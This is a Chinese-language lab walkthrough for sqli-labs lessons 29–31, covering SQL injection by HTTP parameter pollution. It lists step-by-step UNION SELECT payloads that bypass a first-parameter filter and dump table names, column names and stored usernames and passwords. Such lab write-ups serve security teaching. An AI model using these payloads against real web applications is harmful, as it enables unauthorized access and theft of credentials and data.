当前位置: 首页 > news >正文

sqli-labs靶场29-31关(http参数污染)

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错——判断为单引号闭合

?id=2&id=1'--+正常回显——确定为单引号闭合

?id=2&id=1' order by 3--+——判断有三处回显

?id=2&id=' union select 1,2,3--+——判断出回显位置

?id=2&id=' union select 1,user(),database()--+——爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+—— 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显——判断为双引号闭合

?id=a&id=1"--+——正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+——判断有三处回显位

?id=a&id=" union select 1,2,3--+——找到回显位置

?id=a&id=" union select 1,2,database()--+——爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+——爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错——判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显——判断为双引号括号闭合:

?id=0&id=2") order by 3--+——判断有三处回显

?id=0&id=") union select 1,2,3--+——找到回显位置

?id=0&id=") union select 1,2,database()--+——爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+——爆数据



http://www.xdnf.cn/news/478081.html

相关文章:

  • ECPF 简介
  • python爬虫实战训练
  • vscode debug node + 前端
  • 学习51单片机02
  • Vue.js---计算属性computed和lazy
  • 简单图像自适应亮度对比度调整
  • 【Python-Day 14】玩转Python字典(上篇):从零开始学习创建、访问与操作
  • Flutter目录结构介绍、入口、Widget、Center组件、Text组件、MaterialApp组件、Scaffold组件
  • 【RK3588嵌入式图形编程】-Cairo-绘图基础-线条
  • Armijo rule
  • 从另一个视角理解TCP握手、挥手与可靠传输
  • k8s灰度发布
  • MES系统与ERP、SCM、QMS、APS系统的关系
  • 蓝牙网关都有哪些型号?
  • 【笔记】记一次PyCharm的问题反馈
  • PyTorch 的 F.scaled_dot_product_attention 返回Nan
  • 微服务初步学习
  • 变量赋值和数据类型
  • Git 笔记
  • 将已打包好的aar文件,上传到 Coding 的 Maven 仓库
  • uniapp实现在线pdf预览以及下载
  • node.js文件系统(fs) - 创建文件、打开文件、写入数据、追加数据、读取数据、创建目录、删除目录
  • 鸿蒙NEXT开发动画案例10
  • 账号风控突破:云手机设备指纹篡改检测与反制技术解析
  • 学习日志38-cpelx求解器使用
  • 前端脚手架开发指南:提高开发效率的核心操作
  • React学习———React Router
  • Jenkins 执行器(Executor)如何调整限制?
  • vue3中预览Excel文件
  • 技术文章:解决汇川MD500系列变频器干扰问题——GRJ9000S EMC滤波器的应用